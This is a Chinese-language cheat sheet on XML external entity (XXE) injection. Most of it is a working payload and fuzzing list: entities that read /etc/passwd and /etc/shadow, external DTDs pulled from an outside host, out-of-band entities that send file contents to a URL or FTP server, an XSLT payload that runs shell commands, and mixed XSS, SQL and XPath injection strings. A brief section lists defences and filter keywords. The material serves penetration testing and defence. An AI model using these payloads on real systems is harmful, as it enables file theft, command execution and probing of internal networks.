应用安全-XXE(XML外部实体注入)攻防整理

libxml2.9.1及以后，默认不解析外部实体。测试的时候window下使用php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中，可使用phpinfo()查看libxml的版本信息

外部实体注入 - 通过DTD外部实体声明

payload-1
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file://etc/passwd">]>
<c>&b;</c>

payload-2

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user>
<firstname>&xxe;</firstname>
<lastname>melody</lastname>
</user>

外部实体注入 - 通过DTD文档引入外部DTD文档，再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>

DTD内容：
<!ENTITY b SYSTEM "file:///etc/passwd">

外部实体注入 - 通过DTD引入外部实体声明

<?xml version="1.0">
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
%d;
]>
<c>&b;</c>

DTD内容：
<!ENTITY b SYSTEM "file///etc/passwd">

XMLDTD部分支持协议

libxml2    file http ftp
                
PHP    file http ftp php compress.zlib compress.bzip2 data glob phar                
    扩展支持部分：
    https/ftps openssl
    zip zip
    ssh2.shell/ssh2.exec/ssh2.tunnel/ssh2.sftp/ssh2.scp  ssh2
    rar  rar
    ogg  oggvorbis
    expect  expect        
    
Java    http https ftp file jar netdoc mailto gopher *     
            
.NET    file http https ftp    

工具 - burp - Collaborator 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://collaborator生成的随机值">
]>
XML语句

XML Schema 实体的攻击 - schemaLocation

XML Schema 实体的攻击 - schemaLocation

XML Schema 实体的攻击 - noNamespaceSchemaLocation

XML Schema 实体的攻击 - XInclude。

XML Schema 实体的攻击 - XSLT 攻击

XXE - 读取任意文件

XXE - 执行系统命令

XXE - 探测内网端口

XXE - 攻击内网网站

XXE - DDOS攻击

 

防御 - 禁用外部实体

PHP：
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python：
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

防御 -  过滤用户提交的XML数据

关键字：<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC

Fuzzing

<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
<?xml version="1.0" encoding="ISO-8859-1"?><test></test>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com:80" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example:443" >]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>
<test></test>
<![CDATA[<test></test>]]>
&foo;
%foo;
count(/child::node())
x' or name()='username' or 'x'='y
<name>','')); phpinfo(); exit;/*</name>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
<foo><![CDATA[' or 1=1 or ''=']]></foo>
<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
<xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<xml SRC="xsstest.xml" ID=I></xml>
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><script>alert(123)</script></xsl:template></xsl:stylesheet>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:copy-of select="document('/etc/passwd')"/></xsl:template></xsl:stylesheet>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('passthru','ls -la')"/></xsl:template></xsl:stylesheet>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://127.0.0.1:80/?%file;'>  "> %int;
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://127.0.0.1:21/%data3;'>">
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
<!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

检测工具

XXEinjector  -  基于Ruby